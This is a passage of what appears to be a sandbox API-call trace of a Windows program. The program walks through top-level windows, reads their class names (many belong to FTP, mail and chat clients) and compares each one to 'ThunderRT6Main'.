GetWindow (hWnd=0x10200, uCmd=0x2) returned 0x10202 [0079.458] GetClassNameA (in: hWnd=0x10202, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.458] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.458] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9a8 [0079.458] GetWindow (hWnd=0x10202, uCmd=0x2) returned 0x101fc [0079.458] GetClassNameA (in: hWnd=0x101fc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="skype_wnd") returned 9 [0079.458] lstrcmpA (lpString1="skype_wnd", lpString2="ThunderRT6Main") returned -1 [0079.459] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x998 [0079.459] GetWindow (hWnd=0x101fc, uCmd=0x2) returned 0x101fe [0079.459] GetClassNameA (in: hWnd=0x101fe, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.459] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.459] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x998 [0079.459] GetWindow (hWnd=0x101fe, uCmd=0x2) returned 0x101f8 [0079.459] GetClassNameA (in: hWnd=0x101f8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="scriptftp_app") returned 13 [0079.459] lstrcmpA (lpString1="scriptftp_app", lpString2="ThunderRT6Main") returned -1 [0079.459] GetWindowThreadProcessId (in: hWnd=0x101f8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x988 [0079.459] GetWindow (hWnd=0x101f8, uCmd=0x2) returned 0x101fa [0079.459] GetClassNameA (in: hWnd=0x101fa, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.459] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.459] GetWindowThreadProcessId (in: hWnd=0x101fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x988 [0079.459] GetWindow (hWnd=0x101fa, uCmd=0x2) returned 0x101f4 [0079.459] GetClassNameA (in: hWnd=0x101f4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="pidgin_class") returned 12 [0079.459] lstrcmpA (lpString1="pidgin_class", lpString2="ThunderRT6Main") returned -1 [0079.459] GetWindowThreadProcessId (in: hWnd=0x101f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x978 [0079.459] GetWindow (hWnd=0x101f4, uCmd=0x2) returned 0x101f6 [0079.459] GetClassNameA (in: hWnd=0x101f6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.459] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.459] GetWindowThreadProcessId (in: hWnd=0x101f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x978 [0079.459] GetWindow (hWnd=0x101f6, uCmd=0x2) returned 0x101f0 [0079.459] GetClassNameA (in: hWnd=0x101f0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="outlookwin") returned 10 [0079.459] lstrcmpA (lpString1="outlookwin", lpString2="ThunderRT6Main") returned -1 [0079.459] GetWindowThreadProcessId (in: hWnd=0x101f0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x968 [0079.459] GetWindow (hWnd=0x101f0, uCmd=0x2) returned 0x101f2 [0079.460] GetClassNameA (in: hWnd=0x101f2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.460] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.460] GetWindowThreadProcessId (in: hWnd=0x101f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x968 [0079.460] GetWindow (hWnd=0x101f2, uCmd=0x2) returned 0x101ec [0079.460] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="operamailcls") returned 12 [0079.460] lstrcmpA (lpString1="operamailcls", lpString2="ThunderRT6Main") returned -1 [0079.460] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x958 [0079.460] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ee [0079.460] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.460] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.460] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x958 [0079.460] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101e8 [0079.460] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="notepadwin") returned 10 [0079.460] lstrcmpA (lpString1="notepadwin", lpString2="ThunderRT6Main") returned -1 [0079.460] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x948 [0079.460] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101ea [0079.460] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.460] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.460] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x948 [0079.460] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e4 [0079.460] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ncftpwindow") returned 11 [0079.460] lstrcmpA (lpString1="ncftpwindow", lpString2="ThunderRT6Main") returned -1 [0079.460] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x938 [0079.460] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101e6 [0079.460] GetClassNameA (in: hWnd=0x101e6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.460] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.461] GetWindowThreadProcessId (in: hWnd=0x101e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x938 [0079.461] GetWindow (hWnd=0x101e6, uCmd=0x2) returned 0x101e0 [0079.461] GetClassNameA (in: hWnd=0x101e0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="leechftpclass") returned 13 [0079.461] lstrcmpA (lpString1="leechftpclass", lpString2="ThunderRT6Main") returned -1 [0079.461] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x928 [0079.461] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x101e2 [0079.461] GetClassNameA (in: hWnd=0x101e2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.461] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.461] GetWindowThreadProcessId (in: hWnd=0x101e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x928 [0079.461] GetWindow (hWnd=0x101e2, uCmd=0x2) returned 0x101dc [0079.461] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="icq_win") returned 7 [0079.461] lstrcmpA (lpString1="icq_win", lpString2="ThunderRT6Main") returned -1 [0079.461] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x918 [0079.461] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101de [0079.461] GetClassNameA (in: hWnd=0x101de, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.461] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.461] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x918 [0079.461] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101d8 [0079.461] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="gmailnotifierpro") returned 16 [0079.461] lstrcmpA (lpString1="gmailnotifierpro", lpString2="ThunderRT6Main") returned -1 [0079.461] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x908 [0079.461] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x101da [0079.461] GetClassNameA (in: hWnd=0x101da, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.461] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.461] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x908 [0079.461] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d4 [0079.461] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="foxmailincmail") returned 14 [0079.462] lstrcmpA (lpString1="foxmailincmail", lpString2="ThunderRT6Main") returned -1 [0079.462] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8f8 [0079.462] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x101d6 [0079.462] GetClassNameA (in: hWnd=0x101d6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.462] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.462] GetWindowThreadProcessId (in: hWnd=0x101d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8f8 [0079.462] GetWindow (hWnd=0x101d6, uCmd=0x2) returned 0x101d0 [0079.462] GetClassNameA (in: hWnd=0x101d0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="flingapp") returned 8 [0079.462] lstrcmpA (lpString1="flingapp", lpString2="ThunderRT6Main") returned -1 [0079.462] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8 [0079.462] GetWindow (hWnd=0x101d0, uCmd=0x2) returned 0x101d2 [0079.462] GetClassNameA (in: hWnd=0x101d2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.462] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.462] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8 [0079.462] GetWindow (hWnd=0x101d2, uCmd=0x2) returned 0x101cc [0079.462] GetClassNameA (in: hWnd=0x101cc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="flashfxp_") returned 9 [0079.462] lstrcmpA (lpString1="flashfxp_", lpString2="ThunderRT6Main") returned -1 [0079.462] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d8 [0079.462] GetWindow (hWnd=0x101cc, uCmd=0x2) returned 0x101ce [0079.462] GetClassNameA (in: hWnd=0x101ce, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.462] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.462] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d8 [0079.462] GetWindow (hWnd=0x101ce, uCmd=0x2) returned 0x101c8 [0079.462] GetClassNameA (in: hWnd=0x101c8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="filezillaapp") returned 12 [0079.462] lstrcmpA (lpString1="filezillaapp", lpString2="ThunderRT6Main") returned -1 [0079.462] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8c8 [0079.463] GetWindow (hWnd=0x101c8, uCmd=0x2) returned 0x101ca [0079.463] GetClassNameA (in: hWnd=0x101ca, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.463] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.463] GetWindowThreadProcessId (in: hWnd=0x101ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8c8 [0079.463] GetWindow (hWnd=0x101ca, uCmd=0x2) returned 0x101c4 [0079.463] GetClassNameA (in: hWnd=0x101c4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="far_window") returned 10 [0079.463] lstrcmpA (lpString1="far_window", lpString2="ThunderRT6Main") returned -1 [0079.463] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b8 [0079.463] GetWindow (hWnd=0x101c4, uCmd=0x2) returned 0x101c6 [0079.463] GetClassNameA (in: hWnd=0x101c6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.463] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.463] GetWindowThreadProcessId (in: hWnd=0x101c6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b8 [0079.463] GetWindow (hWnd=0x101c6, uCmd=0x2) returned 0x101c0 [0079.463] GetClassNameA (in: hWnd=0x101c0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="coreftp_window") returned 14 [0079.463] lstrcmpA (lpString1="coreftp_window", lpString2="ThunderRT6Main") returned -1 [0079.463] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a8 [0079.463] GetWindow (hWnd=0x101c0, uCmd=0x2) returned 0x101c2 [0079.463] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.463] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.463] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a8 [0079.463] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x101bc [0079.463] GetClassNameA (in: hWnd=0x101bc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="bitkinex_window") returned 15 [0079.463] lstrcmpA (lpString1="bitkinex_window", lpString2="ThunderRT6Main") returned -1 [0079.463] GetWindowThreadProcessId (in: hWnd=0x101bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x898 [0079.463] GetWindow (hWnd=0x101bc, uCmd=0x2) returned 0x101be [0079.463] GetClassNameA (in: hWnd=0x101be, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.464] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.464] GetWindowThreadProcessId (in: hWnd=0x101be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x898 [0079.464] GetWindow (hWnd=0x101be, uCmd=0x2) returned 0x101b8 [0079.464] GetClassNameA (in: hWnd=0x101b8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="barcaclass") returned 10 [0079.464] lstrcmpA (lpString1="barcaclass", lpString2="ThunderRT6Main") returned -1 [0079.464] GetWindowThreadProcessId (in: hWnd=0x101b8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x888 [0079.464] GetWindow (hWnd=0x101b8, uCmd=0x2) returned 0x101ba [0079.464] GetClassNameA (in: hWnd=0x101ba, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.464] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.464] GetWindowThreadProcessId (in: hWnd=0x101ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x888 [0079.464] GetWindow (hWnd=0x101ba, uCmd=0x2) returned 0x101b4 [0079.464] GetClassNameA (in: hWnd=0x101b4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="alftpwnd") returned 8 [0079.464] lstrcmpA (lpString1="alftpwnd", lpString2="ThunderRT6Main") returned -1 [0079.464] GetWindowThreadProcessId (in: hWnd=0x101b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x878 [0079.464] GetWindow (hWnd=0x101b4, uCmd=0x2) returned 0x101b6 [0079.464] GetClassNameA (in: hWnd=0x101b6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.464] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.464] GetWindowThreadProcessId (in: hWnd=0x101b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x878 [0079.464] GetWindow (hWnd=0x101b6, uCmd=0x2) returned 0x101b0 [0079.464] GetClassNameA (in: hWnd=0x101b0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="absolutetelnet_window") returned 21 [0079.464] lstrcmpA (lpString1="absolutetelnet_window", lpString2="ThunderRT6Main") returned -1 [0079.464] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x868 [0079.464] GetWindow (hWnd=0x101b0, uCmd=0x2) returned 0x101b2 [0079.464] GetClassNameA (in: hWnd=0x101b2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.464] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.465] GetWindowThreadProcessId (in: hWnd=0x101b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x868 [0079.465] GetWindow (hWnd=0x101b2, uCmd=0x2) returned 0x101ac [0079.465] GetClassNameA (in: hWnd=0x101ac, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="3dftp_win") returned 9 [0079.465] lstrcmpA (lpString1="3dftp_win", lpString2="ThunderRT6Main") returned -1 [0079.465] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x858 [0079.465] GetWindow (hWnd=0x101ac, uCmd=0x2) returned 0x101ae [0079.465] GetClassNameA (in: hWnd=0x101ae, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.465] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.465] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x858 [0079.465] GetWindow (hWnd=0x101ae, uCmd=0x2) returned 0x101a8 [0079.465] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="purchaseclass") returned 13 [0079.465] lstrcmpA (lpString1="purchaseclass", lpString2="ThunderRT6Main") returned -1 [0079.465] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x848 [0079.465] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101aa [0079.465] GetClassNameA (in: hWnd=0x101aa, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.465] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.465] GetWindowThreadProcessId (in: hWnd=0x101aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x848 [0079.465] GetWindow (hWnd=0x101aa, uCmd=0x2) returned 0x101a4 [0079.465] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="bent_Individually_class") returned 23 [0079.465] lstrcmpA (lpString1="bent_Individually_class", lpString2="ThunderRT6Main") returned -1 [0079.465] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x838 [0079.465] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a6 [0079.465] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.465] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.465] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x838 [0079.465] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101a0 [0079.465] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="cruises_Thickness_cls") returned 21 [0079.466] lstrcmpA (lpString1="cruises_Thickness_cls", lpString2="ThunderRT6Main") returned -1 [0079.466] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x828 [0079.466] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x101a2 [0079.466] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.466] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.466] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x828 [0079.466] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x1019c [0079.466] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Bloomansweringwnd") returned 17 [0079.466] lstrcmpA (lpString1="Bloomansweringwnd", lpString2="ThunderRT6Main") returned -1 [0079.466] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x818 [0079.466] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019e [0079.466] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.466] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.466] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x818 [0079.466] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x10198 [0079.466] GetClassNameA (in: hWnd=0x10198, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Ownerbmwin") returned 10 [0079.466] lstrcmpA (lpString1="Ownerbmwin", lpString2="ThunderRT6Main") returned -1 [0079.466] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0079.466] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x1019a [0079.466] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.466] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.466] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0079.466] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10194 [0079.466] GetClassNameA (in: hWnd=0x10194, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="hawk_Tasks_app") returned 14 [0079.466] lstrcmpA (lpString1="hawk_Tasks_app", lpString2="ThunderRT6Main") returned -1 [0079.466] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c [0079.467] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10196 [0079.467] GetClassNameA (in: hWnd=0x10196, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.467] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.467] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c [0079.467] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10190 [0079.467] GetClassNameA (in: hWnd=0x10190, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Bernard_award_window") returned 20 [0079.467] lstrcmpA (lpString1="Bernard_award_window", lpString2="ThunderRT6Main") returned -1 [0079.467] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc0 [0079.467] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x10192 [0079.467] GetClassNameA (in: hWnd=0x10192, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.467] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.467] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc0 [0079.467] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x1018a [0079.467] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="bluescls") returned 8 [0079.467] lstrcmpA (lpString1="bluescls", lpString2="ThunderRT6Main") returned -1 [0079.467] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2c4 [0079.467] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x2018e [0079.467] GetClassNameA (in: hWnd=0x2018e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.467] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.467] GetWindowThreadProcessId (in: hWnd=0x2018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2c4 [0079.467] GetWindow (hWnd=0x2018e, uCmd=0x2) returned 0x10186 [0079.467] GetClassNameA (in: hWnd=0x10186, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="promotingweightedcls") returned 20 [0079.467] lstrcmpA (lpString1="promotingweightedcls", lpString2="ThunderRT6Main") returned -1 [0079.467] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x564 [0079.467] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0079.467] GetClassNameA (in: hWnd=0x10188, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.468] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.468] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x564 [0079.468] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10180 [0079.468] GetClassNameA (in: hWnd=0x10180, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WordsRetainedremovalapp") returned 23 [0079.468] lstrcmpA (lpString1="WordsRetainedremovalapp", lpString2="ThunderRT6Main") returned 1 [0079.468] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x520 [0079.468] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x10184 [0079.468] GetClassNameA (in: hWnd=0x10184, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.468] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.468] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x520 [0079.468] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0079.468] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="famemoderatorwindow") returned 19 [0079.468] lstrcmpA (lpString1="famemoderatorwindow", lpString2="ThunderRT6Main") returned -1 [0079.468] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f8 [0079.468] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x1017e [0079.468] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.468] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.468] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f8 [0079.468] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10178 [0079.468] GetClassNameA (in: hWnd=0x10178, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Gpluckywindow") returned 13 [0079.468] lstrcmpA (lpString1="Gpluckywindow", lpString2="ThunderRT6Main") returned -1 [0079.468] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x528 [0079.468] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x1017a [0079.468] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.468] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.468] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x528 [0079.469] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x10174 [0079.469] GetClassNameA (in: hWnd=0x10174, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="mediterraneanTallwin") returned 20 [0079.469] 